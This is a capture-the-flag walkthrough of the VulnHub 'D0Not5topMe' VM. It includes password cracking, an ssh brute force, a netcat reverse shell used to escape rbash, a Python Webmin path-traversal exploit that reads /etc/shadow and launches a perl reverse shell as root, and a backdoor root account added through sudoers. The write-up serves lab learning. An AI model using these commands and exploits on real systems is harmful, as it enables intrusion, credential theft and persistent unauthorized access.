Trying not to stop with D0Not5top..
This was a wild ride indeed! Excellent fun 3mrgnc3, job well done indeed :)
Was playing this together with a couple of THS buds and we were having a blast at being frustrated to high hell and back by this thing.. never did get all flags, but the path to root was a fun one and will look forward to seeing how others managed to get what we did not.
There are 2 IPs used in the below examples for the VM as I was switching between host-only and bridged.
Initial enumeration
======================
Started off with the usual scans;
> Host discovery
> Port scanning
> Open port services checks
> Forced browsing
> Website source info gathering
Host discovery
arp-scan 192.168.56.0/24
Port scanning
nmap -p- 192.168.56.102
So we have some ports to look at; ssh smtp & http stand out as good ones to focus on (I'll admit I went digging at the rpc ports when all else was looking a tad bleak.. lol).
Port 22 SSH
I decide to wait with further checks on SSH until more enumeration done and possible usernames have been enumerated. More on this later...
Port 25 SMTP
Doing a banner grab on the smtp port gives us an interesting string;
nc 192.168.56.102 25
Decoding with xxd gives us another flag! yay!
echo "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874 327231646434 717070756 5793437 347 3767879610a" | xxd -r -ps
Hrmmph.. flag 3.. missed a couple.. search continues.
Port 80 HTTP
Oh dear Xenu, the leetspeek continues...
Nothing in the source of the page root, so time to bust out nikto to have a closer look at what might be lurking;
nikto -h 192.168.56.102
after an initial AHAH! WordPress! moment of joy, happiness quickly turns to disappointment when it becomes apparent that the wordpress references are all blank page tr0lls.. bah..
Checking the robots.txt we see some interesting information at the bottom of the robots.txt;
curl 192.168.56.102/robots.txt
# terminal knows where to go.
User-agent: GameTerminal
Alrighty then.. so terminal knows where to go and User-Agent is GameTerminal..
Tried with setting the user agent to GameTerminal for shits and giggles, but that did not aid in any process.
OK, next step to have a see if forced browsing can reveal any 'hidden' pages;
Forced Browsing
Running dirb (dirb http://192.168.56.102) gives a lot of hits and so I switch to wfuzz to be able to better sort the output.
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 192.168.56.102/FUZZ
Still a lot of hits with a lot of empty pages.. but changing the syntax just a tad to only show html 200 codes and be recursive down to 3 directories gives a clearer view of none-empty pages ;
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 192.168.56.102/FUZZ
We find a page in the /control/ directory in which a 'DNS Control Panel' is illustrated.
MegustaAdmin is shown to be logged in, so note this as possible username.
Going through the page sources of the found /control page shows and we have another flag!
Going down a bit further and we have some text;
<!-- M3gusta said he hasn't had time to get this w0rKING.
Don't think he's quite in the 20n3 these days since his MadBro made that 7r4n5f3r, Just Couldnt H@cxk Da D0Not5topMe.ctf --!>
Another possible username noted and looking further we find that the directory /control/js/ is listable and see a README.MadBro file lurking..;
###########################################################
# MadBro MadBro MadBro MadBro MadBro MadBro MadBro MadBro #
# M4K3 5UR3 2 S3TUP Y0UR /3TC/H05T5 N3XT T1M3 L0053R... #
# 1T'5 D0Not5topMe.ctf !!!! #
# 1M 00T4 H33R.. #
# MadBro MadBro MadBro MadBro MadBro MadBro MadBro MadBro #
###########################################################
FL101110_10:111101011101
1r101010q10svdfsxk1001i1
11ry100f10srtr1100010h10
Aha! So we need to edit the hosts file and include the domain D0Not5topMe with domain extension .ctf AND we have found flag #2!
FL101110_10:111101011101
This string is partially binary, which when decoded to decimal equates to;FL46_2:3933
Or if we take the 2nd part 6 chars at a time;
FL46_2:6129
Either way, it doesnt seem to hint at anything else.
1r101010q10svdfsxk1001i1
11ry100f10srtr1100010h10
These strings underneath the partial binary appear to be Crypt16 hashes, but after trying all sorts of various string alterations and decodings, did not dig further on this.
Checking domains======================
D0Not5topMe.ctf
OK, so after editing the /etc/hosts file to include D0Not5topMe.ctf and pointing our browser to that domain, we are presented with a board / forum named "Worka Suko Gameo Di Besto"
Further description of the forum appears to be Pig Latin;
"emay ayingplay uchmay amesgay ownay egistrarioray arnay edsay emay emailway ayay egustomay otay indfay away eomay ideyhohay"
Which, as far as google can tell me, translates roughly to;
"me playing much games now registrario rna sed me wemail a megusto to find wa meo hideyho"
OK, so it appears it is advising to register to the board and send an email to megusto to find out where he is hiding...
Further we can see that Megusta is the only current member of the board and trying to login with;
username: megusta
password: megusta
gives us a response of incorrect password.
Trying to login with;
username: m3gu5t4
password: m3gu5t4
gives us a response of incorrect username, so we can enumerate the username, but was not able to do more than that.
After registering an account (needed to be online for that, hence the bridged IP) we are able to add Megusta as a friend, further confirming the valid username, however I couldn't figure out how to send a message to Megusta which is what I think the PigLatin translation is advising to do.. ¯\_(ツ)_/¯
Spent a lot of time on the User Control Panel as it seemed the right place to be for an SQLi, LFI or RFI... but I now have a feeling it was one big tr0ll.. oh les tr0lls..
When forcing an error with an attempted sql injection (http://d0not5topme.ctf/ucp.php?sid=0ea605a35c24e11610ecc7ee1aebe621&i=%27%20or%20%271=%271) we get a response mentioning an email address for Megusta; Megusta@g4m35.ctf
Spent too long trying to use this information to see how it may help in sending a message to dear old Megusta.. however to no avail.
So is it another valid new domain? Entered in hosts file and fired it up in browser.. Oh yeah!
g4m35.ctf
This turns out to be a stress / fury / homicidal tendancy inducing 3d missile game.. which I have found I am very, very bad at..
I had a shot (ha) at trying to hack the game to see if anything appears at the end, as it must have a hint somewhere.. but failed miserably..
Then luckily chron1cl3 came to the rescue who had come up with a nice novel way of testing domains with possible domains based on enumerated names and leetified strings from the hints in robots.txt and had found another domain!
Comparing the response sizes from a curl --header Host request, we can see whether responses are new domains or non-existing domains which revert back to the webroot;
curl -s --header "Host: test.ctf" 192.168.1.144
Using this and knowing that .ctf is a valid domain extension, we can do a rudimentary scan of possible domains with curl;
for i in $(cat leet.txt);do echo -ne "$i -- " && curl -s --header "Host: $i.ctf" 192.168.1.144 | wc -c ; done
t3rm1n4l.ctf has a different response size and appears to be a valid domain, so lets enter it in hosts file and see what we're looking at.Mkay. A terminal emulator requiring some form of authentication.
After a lot of trial and error found the correct Passwordo: t3rm1n4l.ctf
Checking what commands the terminal emulator accepts shows that this is very limited, after going through numerous checks and getting rather frustrated with the constant renewed login requirement (omg 3mrgnc3.. teh tr0lls..) Pimp chron1cl3 found that grep worked and was able to do a file / dir listing with grep *
Oooh yeeeah...
So checking this new domain M36u574.ctf with the curl --header Host method, we see that the response is different from the webroot, so looks like another new domain!
curl -s --header "Host: M36u574.ctf" 192.168.1.144 | wc -c
Entering the new domain into our hosts file and viewing in browser, we are presented with a load of megusta memes on rotation stretching the full size of the browser for Meg's beauty's sake..
I wanted to grab all pics and the directory wasn't listable, so to ensure I didnt miss anything I fired up OWASP ZAP and switched the proxy on in the browser.(I use Proxy Switcher add-on in the browser)
After loading up the M36u574.ctf site and letting it run for a bit, I had all the images and proceeded to download the raw body of the response from ZAP for further analysis.
Some quick checks on the image files with file, exiftool & hd shows that kingmegusta.jpg is of interest as there appears to be some base64 in the image comment.
for i in $(ls *.raw); do echo ; exiftool $i ; done
For the sake of covering our bases I also ran a quick check on the footers of the files to see if anything pasted on the end of the files or anything out of the ordinary, besides padding and an actual png file insead of a jpeg nothing noteworthy found.
for i in $(ls *.raw) ; do echo $i; hd $i | tail -n10; done
So back to the suspected base64 in the comment of kingmegusta..
exiftool -comment kingmegusta.raw | sed 's/^.*: //' | base64 -d
ooohhh yeaaah... hash FTW!
Lets see if my crappy 590GTX still works with hashcat on my windows box, I copy the hash to file hash.txt and let hashcat rip on the sha512 hash using the rockyou wordlist;
hashcat64.exe -m 1800 -a 0 -w 1 hash.txt rockyou,.txt
Success!
So user:password obtained;
MeGustaKing:**********
Nice!
SSH Fun / tr0lls..
======================
Alright, but now we have what appear to be valid credentials in our hand! Shell seems within our grasp at last!
Let's try our shiny new credentials on an ssh login;
ssh MeGustaKing@192.168.56.102
What the... argh..
Pfff...more tr0lls... hahaha... this guy..
Well there seems to be an encoded string at the top, however try as I might, I could not decode the fucker. Later it turned out that there was actually a typo in it and that the correct string was;
"U2FsdGVkX1/vv715OGrvv73vv73vv71Sa3cwTmw4Mk9uQnhjR1F5YW1adU5ISjFjVEZ2WW5sMk0zUm9kemcwT0hSbE5qZDBaV3BsZVNBS++/ve+/ve+/vWnvv704OCQmCg=="
Decoding this twice with base64 results in flag number 6 (where the hell # 4 & 5 are hiding... I dunno lol, but possibly in the g4m35.ctf domain)
FL46_6:FL46_6:pqpd2jfn4ruq1obyv3thw848te67tejey
Moving on down the information in the ssh screen there is a mention of a last login from R0cKy0U.7x7, this seems a fairly obvious reference to the rockyou.txt wordlist (but last login also mentioned as being on 01-04-2017.. April fools' day..oh lordy)
Also, there seems to be some alarm that the user logging in is not "burtieo" who apparently is the 54wltyD4w6..
Well armed with a new username and a clear reference to the rockyou wordlist, we fire up hydra and let her do her worst on an ssh bruteforce attack. (well OK, chron1cl3 did this :P nice going dude :D)
Running a bruteforce attack on an ssh login is a slow and painful process and truly the only thing you can hope for is a good hint on the password or at least a smallish, focussed wordlist.
In this case the rockyou reference is pretty clear, so just have to let it run for as long as I can keep the PC on and see how far we get..;
hydra -l burtieo -P lists/rockyou.txt -e nsr 192.168.56.102 ssh
OK, so actually this was yet another tr0ll.. haha, the actual password was written right in the login screen...
But no matter, now we have another set of shiny new credentials! Yay! or do we.. on initial logging in, all seems fine, but then..
ssh burtieo@192.168.56.102
gah, its an rbash restricted shell..and try though I might, I was not able to easily escape this one..
SSH can allow user code execution, which in this case can bypass some of the restrictions, although still not making it terribly user friendly. We can test this with;
ssh burtieo@192.168.56.102 cat /etc/passwd
OK, good that works, lets see if we can turn this into a simple shell for ease of use;
Start up a netcat listener and then start the ssh command calling a netcat connect command,
spawn a clearer shell, set environment and get busy :D
ssh burtieo@192.168.56.102 nc 192.168.56.101 4444 -e /bin/sh
enter burtieo's password
python -c 'import pty; pty.spawn("/bin/sh")'enter burtieo's password
export TERM=linux
Ahh, this is better! Looks like we are good to go and get on with further enumeration of the box.
I change to writable directory /tmp and after checking that wget is installed, start apache2 on the attacking machine, host an enumeration script and then download and run it on the victim;
cd /tmp
which wget
wget -q 192.168.56.101/linEnum.sh
bash linEnum.sh > enum.txt
Reading through the enumeration script results.. something immediately caught my eye..
To quote chron1cl3; "oh shizzle!" :D
We can run a file as root, must be getting close now..
When running the /usr/bin/wmstrt file, it counts down from 20 to 0 and then prints;
D1dyaCatchaT3nK1l0?
:D
nmap -p 10000 -sV 192.168.56.102
I was having real trouble with the browser not accepting the certificate and for all the googling on it the only solution I came across was downgrading the browser.. I was basically more or less giving up on it, but this is where some serious pimpness came into play in the form of He Who Shall Not Be Named.. otherwise known as ch3rn0byl..
ch3rn whipped up a python script (dont you hate/love it when people just quickly do that while they're sitting on the john doing a crossword puzzle or some shit) which ignores SSL certificate verification and does a path traversal to be able to read files outside the web root directory.. in a few short lines...
I've gotta loosen up with my bash love and get on this python bandwagon..
import requestsSo we run the /usr/bin/wmstrt file with sudo to open up the webmin port 10000 and then run ch3rn's pimpscript;
payload = '/..%01' * 10
payload += '/etc/shadow'
r = requests.get('https://192.168.56.102:10000/unauthenticated{}'.format(payload), verify=False)
print r.url, r.status_code, r.reason, r.content
Success! For shits and giggles I grabbed the root hash and ran hashcat on it using rockyou wordlist.
hashcat64.exe -m 1800 -a 0 -w 1 hash.txt rockyou.txt
no way.. really? More creds!
root:password
In the 1st version, root was allowed to login over ssh, that made access ezpz, but it was clear this was not the author's intended route and in the revised VM the root login capability has been removed.
I was sure (and so was ch3rn..) that his pimpscript could be used to leverage a file to run as root and considering we had write access to /tmp, I wanted to create a reverse shell and then have it phone home after having been called by root. and thus give that sweet rootshell..
My brain was frazzled, but ch3rnobyl came through again with some awesome tidbits on webmin. Well tidbits.. I'm not too proud to avoid admitting there was a fairly pretty spoon involved.. :P
so roughly, and this part will need some serious improvement when I get my game together on this, webmin is based off perl and runs perl modules. So creating a perl module (editing extension from .pl to .cgi) and making it executable will allow us to execute that file if able to be called/reached by path traversal via the webmin service.
So first we prepare a perl reverse shell;
/usr/share/webshells/perl/perl-reverse-shell.pl
edit the IP and PORT to our setup and then host on our attacking system.
Download to our target system in the writable /tmp/ directory, rename extension (I renamed the shell revshell.cgi) and make executable with chmod +x.
cd /tmp
wget -q 192.168.56.101/perl-reverse-shell.pl
mv perl-reverse-shell.pl revshell.cgi
chmod +x revshell.cgi
We edit the pimpscript to call the correct file. as there is no need to read the content or the like, we can delete some of the printed items, so I just left the url and status_code to be printed.
import requests
payload = '/..%01' * 4
payload += '/tmp/revshell.cgi'
r = requests.get('https://192.168.56.102:10000/unauthenticated{}'.format(payload), verify=False)
print r.url, r.status_code
Start a netcat listener on the attacker, run webmin file /usr/bin/wmstrt with sudo again and in the 20 seconds run the pimpscript to call the perl reverse shell..
prep..pwn..
Oh.Fuck.Yes.
So this is a pretty round-about way to get to root, so lets get another user in the mix straight away with root privs so we can finally get a normal friggin root shell;
useradd -u 12345 -g root -s /bin/bash -p $(echo epat | openssl passwd -1 -stdin) tape
echo "tape ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers
Now we can login with ssh and do a sudo su to get root privs, nice and ez!
ssh tape@192.168.56.102
sudo su
So now we've got nice an ez root access, Im gonna enumerate the bejeezus outta the g4m35.ctf domain and see if I can find flag 4 & 5 :P but for a wee moment.. enough time spent on this and time for some THS R&R! :P
Think Chron1cl3 has pwned flag7, will update as and when progress is made ;)
Big up to the THS crew and those participating in one way or another on this awesome VM
Chron1cl3 -- https://twitter.com/chron1cl3
Ch3rn0byl
Gr3yM4tt3r
And of course many thanks to 3mrgnc3 for this great (and frustrating.. grr) ride and thanks to VulnHub for hosting these awesome VMs.